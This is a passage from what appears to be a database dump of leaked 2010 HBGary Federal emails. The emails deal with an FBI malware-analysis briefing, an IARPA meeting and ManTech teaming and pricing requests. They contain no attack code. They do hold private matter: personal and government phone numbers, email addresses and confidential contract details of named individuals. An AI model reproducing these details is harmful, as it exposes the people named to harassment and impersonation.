15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>> ________________________________________\r\n>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>>> To: Geary, Christopher A.\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Chris,\r\n>>>>\r\n>>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>>\r\n>>>>> Thanks,\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>> ________________________________________\r\n>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>>> To: Geary, Christopher A.\r\n>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>\r\n>>>>> Hi Chris,\r\n>>>>>\r\n>>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>>\r\n>>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>>\r\n>>>>>> Thank You,\r\n>>>>>>\r\n>>>>>> Chris\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> SSA Christopher A. Geary\r\n>>>>>> CERT/CC Liaison\r\n>>>>>> 3238 CIC\r\n>>>>>> Pittsburgh, PA 15213\r\n>>>>>>\r\n>>>>>> (412) 268-9244\r\n>>>>>\r\n>>>>\r\n>>\r\n',5303,'aaron_hbgary_com/5303.html'),(11531,'2010-09-09','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008696.M552844P14101Q6387.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: HB Gary Presentation','Thank You Aaron.\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Geary, Christopher A.\r\nCc: Delecki, Zachary; Jones, William A. IV\r\nSent: Thu Sep 09 14:15:18 2010\nSubject: Re: HB Gary Presentation\r\n\r\nYes.  Look forward to it.  I will send out the meeting notice.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Listed below are the attendees from Cyber Division HQ:\r\n>\r\n> SSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\n> AD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\n> SSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n>\r\n>\r\n> The date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Wednesday, September 08, 2010 12:59 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> That will be fine.  Would you like me to send out a meeting notice?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 9:52 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> is this for next Wed? or another day?\r\n>> Aaron\r\n>>\r\n>> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>>\r\n>>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Geary, Christopher A.\r\n>>> Sent: Tue Sep 07 16:56:42 2010\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>>> other locations that might be closer to you.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>>\r\n>>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>> ________________________________________\r\n>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>>> To: Geary, Christopher A.\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Chris,\r\n>>>>\r\n>>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>>\r\n>>>>> Thanks,\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>> ________________________________________\r\n>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>>> To: Geary, Christopher A.\r\n>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>\r\n>>>>> Hi Chris,\r\n>>>>>\r\n>>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>>\r\n>>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>>\r\n>>>>>> Thank You,\r\n>>>>>>\r\n>>>>>> Chris\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> SSA Christopher A. Geary\r\n>>>>>> CERT/CC Liaison\r\n>>>>>> 3238 CIC\r\n>>>>>> Pittsburgh, PA 15213\r\n>>>>>>\r\n>>>>>> (412) 268-9244\r\n>>>>>\r\n>>>>\r\n>>\r\n',11512,'aaron_hbgary_com/11512.html'),(11532,'2010-09-09','STEPHCB2@dni.gov','/aaron@hbgary.com/new/1297008696.M778374P14101Q6388.eml','aaron@hbgary.com','RE: Meeting with Director of IARPA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nStephanie\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 2:14 PM\r\nTo: STEPHCB2\r\nSubject: Re: Meeting with Director of IARPA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Stephanie,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry for the delay. &nbsp;I will get you this information\r\nshortly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 10:19 AM, &lt;STEPHCB2@dni.gov&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSir,\r\n\r\n&nbsp;\r\n\r\nIn\r\npreparation for your meeting with the director on Friday, would you please\r\nforward, to me, any read ahead information?\r\n\r\n&nbsp;\r\n\r\nAlso,\r\nplease provide your biography to me by 2:00PM tomorrow.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions please give me a call.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\nStephanie\r\nC. Blackwood\r\n\r\nDirector\'s\r\nOffice, IARPA\r\n\r\nhttp://www.iarpa.gov\r\n\r\n301-851-7477\r\nUNCLASS Office\r\n\r\n571-318-2575\r\nUNCLASS Mobile\r\n\r\n301-851-7672\r\nUNCLASS Fax\r\n\r\n917-7477\r\nSECURE Office\r\n\r\n301-851-7679\r\nSECURE Fax\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7733,'aaron_hbgary_com/7733.html'),(11533,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008696.M94506P14101Q6385.eml','\"<STEPHCB2@dni.gov>\" <STEPHCB2@dni.gov>','Re: Meeting with Director of IARPA','Hi Stephanie,Sorry for the delay.  I will get you this information shortly.AaronSent from my iPhoneOn Sep 8, 2010, at 10:19 AM, &lt;STEPHCB2@dni.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nSir,\r\n\r\n \r\n\r\nIn preparation for your meeting with the director on Friday,\r\nwould you please forward, to me, any read ahead information?\r\n\r\n \r\n\r\nAlso, please provide your biography to me by 2:00PM\r\ntomorrow.\r\n\r\n \r\n\r\nIf you have any questions please give me a call.\r\n\r\n \r\n\r\nThank you,\r\n\r\n \r\n\r\nStephanie C. Blackwood\r\n\r\nDirector&#39;s Office, IARPA\r\n\r\nhttp://www.iarpa.gov\r\n\r\n301-851-7477 UNCLASS Office\r\n\r\n571-318-2575 UNCLASS Mobile\r\n\r\n301-851-7672 UNCLASS Fax\r\n\r\n917-7477 SECURE Office\r\n\r\n301-851-7679 SECURE Fax\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6493,'aaron_hbgary_com/6493.html'),(11534,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008699.M764242P14101Q6389.eml','byron.copeland@dhs.gov,\"Sean.Sobieraj@us-cert.gov\" <sean.sobieraj@us-cert.gov>','Presentation','Byron/Sean,\r\n\r\nPresentation.  I will bring it with me on a system as well.\r\n\r\nAaron\r\n\r\n',4878,'aaron_hbgary_com/4878.html'),(11535,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008700.M831610P14101Q6390.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','US-CERT','Eric,\r\n\r\nFYI...\r\n\r\nI met with US-CERT folks today regarding our TMC (volume malware processor).  Self-admittidly it needs some work, but I briefed to them where we are and where we are going in the short term and they liked the path and are going to work with us to evolve it to something that is directly useful to their mission.  Since they are so willing and open to share malware and work with us I will use them as the test case but I believe in a short period of time, once we have some other features added, it will be directly beneficial to all CERT/SOC requirements.\r\n\r\nAaron',1884,'aaron_hbgary_com/1884.html'),(11536,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008711.M258464P14101Q6391.eml','STEPHCB2@dni.gov','Re: Meeting with Director of IARPA','Stephanie,\r\n\r\nBIO:\r\nCEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.  Previously served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, I was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, I served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. I served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, I was accepted into the Enlisted Education Advancement Program (EEAP) where I finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. I have been a panelist and given speeches on cybersecurity, social media, and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n\r\nI think the intent is to have an open discussion with some specifics on malware analysis.  Attached is a brief capabilities PPT and a few datasheets on our overall approach to cybersecurity and some specifics on social media.\r\n\r\nThank You,\r\nAaron\r\n\r\n \r\n\r\nOn Sep 9, 2010, at 2:19 PM,  wrote:\r\n\r\n> Thank you,\r\n>  \r\n> Stephanie\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, September 09, 2010 2:14 PM\r\n> To: STEPHCB2\r\n> Subject: Re: Meeting with Director of IARPA\r\n>  \r\n> Hi Stephanie,\r\n>  \r\n> Sorry for the delay.  I will get you this information shortly.\r\n>  \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Sep 8, 2010, at 10:19 AM,  wrote:\r\n> \r\n> Sir,\r\n>  \r\n> In preparation for your meeting with the director on Friday, would you please forward, to me, any read ahead information?\r\n>  \r\n> Also, please provide your biography to me by 2:00PM tomorrow.\r\n>  \r\n> If you have any questions please give me a call.\r\n>  \r\n> Thank you,\r\n>  \r\n> Stephanie C. Blackwood\r\n> Director\'s Office, IARPA\r\n> http://www.iarpa.gov\r\n> 301-851-7477 UNCLASS Office\r\n> 571-318-2575 UNCLASS Mobile\r\n> 301-851-7672 UNCLASS Fax\r\n> 917-7477 SECURE Office\r\n> 301-851-7679 SECURE Fax\r\n>  \r\n>  \r\n>  \r\n>  \r\n\r\n',401,'aaron_hbgary_com/401.html'),(11537,'2010-09-09','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297008713.M663517P14101Q6392.eml','aaron@hbgary.com,pat_burke@sra.com,wcooper@cisco.com,bdix@juniper.net,scottmil@microsoft.com,nadia.short@gd-ais.com,teresa.brennan@gd-ais.com,dusty.wince@knowledgecg.com','Final Confirmation/ 4x24 Cyber Breakfast','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, September 14, 2010 7:00 AM-9:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Confirmation/ Tower Club, 8000 Towers Crescent Drive, Tysons Corner, VA \r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nGood Afternoon,\r\n&nbsp;\r\nAs we draw closer to the upcoming Cyber Group Breakfast (scheduled for Tuesday September 14th at the Tower Club in Tyson’s Corner at 7am), we need a final confirmation as to whether or not you are able to attend.&nbsp; If you\r\nhave any questions please call Jennifer at 703.226-7016.\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',288,'aaron_hbgary_com/288.html'),(11538,'2010-09-09','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008714.M650696P14101Q6393.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Terell Jones and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsSeptember 9, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Aneesh Chopra | The White House\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              Aneesh Chopra delivered a knock out presentation yesterday at COVITS 2010.\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',15486,'aaron_hbgary_com/15486.html'),(11539,'2010-09-09','\"Kassaie, Rachel C\" <Rachel.Kassaie@ManTech.com>','/aaron@hbgary.com/new/1297008716.M237581P14101Q6394.eml','aaron@hbgary.com,aaron@hbgary.com','ManTech/HB Gary Non-Disclosure Agreement-PEGASUS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nPlease find attached ManTech&#8217;s standard Non-Disclosure\r\nAgreement to discuss teaming with ManTech on the Pegasus recompete effort.\r\nPlease review, sign, and return this document at your earliest opportunity. I\r\nwill have it countersigned and sent back to you. \r\n\r\n&nbsp;\r\n\r\nIf you would like to negotiate the language contained in\r\nthis NDA, please track your proposed changes and return to me for review. Let\r\nme know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nRachel Kassaie\r\n\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber, Technology and Solutions Group\r\n\r\n7799 Leesburg Pike\r\n\r\nEighth Floor\r\n\r\nFalls Church, VA \r\n\r\nDirect: 703-873-6546\r\n\r\nFax: 703-847-0486\r\n\r\nrachel.kassaie@mantech.com\r\n\r\n&nbsp;\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6486,'aaron_hbgary_com/6486.html'),(11540,'2010-09-09','\"Kassaie, Rachel C\" <Rachel.Kassaie@ManTech.com>','/aaron@hbgary.com/new/1297008716.M791069P14101Q6395.eml','aaron@hbgary.com,aaron@hbgary.com','ManTech/HB Gary Non-Disclosure Agreement-M-II','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nPlease find attached ManTech&#8217;s standard Non-Disclosure\r\nAgreement to discuss teaming with ManTech on the M-II\r\neffort. Please review, sign, and return this document at your earliest\r\nopportunity. I will have it countersigned and sent back to you. \r\n\r\n&nbsp;\r\n\r\nIf you would like to negotiate the language contained in\r\nthis NDA, please track your proposed changes and return to me for review. Let\r\nme know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nRachel Kassaie\r\n\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber, Technology and Solutions Group\r\n\r\n7799 Leesburg Pike\r\n\r\nEighth Floor\r\n\r\nFalls Church, VA \r\n\r\nDirect: 703-873-6546\r\n\r\nFax: 703-847-0486\r\n\r\nrachel.kassaie@mantech.com\r\n\r\n&nbsp;\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11418,'aaron_hbgary_com/11418.html'),(11541,'2010-09-09','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297008717.M194479P14101Q6396.eml','ted@hbgary.com,ted@hbgary.com,','Request for Proposal - Gatorbait Subcontractor Pricing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nPlease provide your response to this Request for Proposal no\r\nlater than 1200 hours, Monday 13 September 2010 for the labor categories\r\nlisted on the attached statement of work (SOW). Please use the following\r\nguidelines when constructing your price submission:\r\n\r\n&nbsp;\r\n\r\n\r\n The Period of Performance for this work will be from 11\r\n     March 2011 -&nbsp; 10 March 2012, with four&nbsp; 1-Year Option periods.\r\n Escalation is capped at 3%\r\n Team members with DCAA approved accounting systems submit\r\n     Cost Rates without Fee\r\n Team members without DCAA approved accounting systems\r\n     submit T&amp;M rates.&nbsp; Fee will be capped at 7%\r\n Cost will be based on FTE Hours of 1,860 \r\n\r\n\r\nPlease note that rates submitted in response to this request\r\nwill be established for any resulting IDIQ subcontract, and used by ManTech in\r\nits proposals for the SPURRIER Task Order and all future task orders. If you\r\nhave any questions, please do not hesitate to contact me.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9936,'aaron_hbgary_com/9936.html'),(11542,'2010-09-09','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008717.M414825P14101Q6397.eml','aaron@HBGary.com,aaron@HBGary.com,','Gatorbait','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron, \r\n\r\nIn looking at where we are in the prop, we wanted to ask the\r\nfollowing of HBGary:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease review the entire Tech Volume, with a\r\nfocus on 2.6.2 and 2.6.3\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo you have specific tools for case\r\ncollaboration or automation of forensic workflows?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow do your tools fit into the program areas?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDoes HBGary have experience developing, or have previously\r\ndeveloped, Forensic Training or Reverse Engineering courses?\r\n\r\n&nbsp;\r\n\r\nThanks in advance, and we look forward to seeing you in the\r\nmorning, \r\n\r\n&nbsp;\r\n\r\nAmanda\r\nJ. Windle \r\n\r\nBusiness Development\r\nManTech International Corporation\r\nMission Cyber &amp; Technology Solutions Group\r\n\r\n7799 Leesburg Pike Suite 700 South\r\nFalls Church, VA 22043\r\n703-485-8056&nbsp;office\r\n\r\n703-200-2557 cell\r\n\r\namanda.windle@mantech.com\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14351,'aaron_hbgary_com/14351.html'),(11543,'2010-09-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008717.M940195P14101Q6398.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Request for Proposal - Gatorbait Subcontractor Pricing','Is this work in the McLean area?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ott, Stephen D \r\nDate: Thu, Sep 9, 2010 at 1:57 PM\r\nSubject: Request for Proposal - Gatorbait Subcontractor Pricing\r\nTo: ted@hbgary.com\r\nCc: Aaron Barr , \"Simpson, Patrick B\"\r\n\r\n\r\n\r\nTed,\r\n\r\n\r\n\r\nPlease provide your response to this Request for Proposal no later\r\nthan 1200 hours, Monday 13 September 2010 for the labor categories\r\nlisted on the attached statement of work (SOW). Please use the\r\nfollowing guidelines when constructing your price submission:\r\n\r\n\r\n\r\nThe Period of Performance for this work will be from 11 March 2011 -\r\n10 March 2012, with four  1-Year Option periods.\r\nEscalation is capped at 3%\r\nTeam members with DCAA approved accounting systems submit Cost Rates without Fee\r\nTeam members without DCAA approved accounting systems submit T&M\r\nrates.  Fee will be capped at 7%\r\nCost will be based on FTE Hours of 1,860\r\n\r\nPlease note that rates submitted in response to this request will be\r\nestablished for any resulting IDIQ subcontract, and used by ManTech in\r\nits proposals for the SPURRIER Task Order and all future task orders.\r\nIf you have any questions, please do not hesitate to contact me.\r\n\r\n\r\n\r\nThanks,\r\n\r\nSteve\r\n\r\n\r\n\r\n\r\n\r\nStephen Ott\r\n\r\nPrincipal Subcontracts Administrator\r\n\r\nManTech Mission, Cyber, Technology, and Solutions Group\r\n\r\n7799 Leesburg Pike, Ste 700 South\r\n\r\nFalls Church, VA 22043\r\n\r\n(P) 703-485-8010\r\n\r\n(F) 703-847-0486\r\n\r\n\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not\r\nuse, copy, disclose or distribute this email or any of the contents of\r\nthis email.  If you received this email in error, please promptly\r\nnotify the sender by reply email and delete this email from your\r\nrecords.  Thank 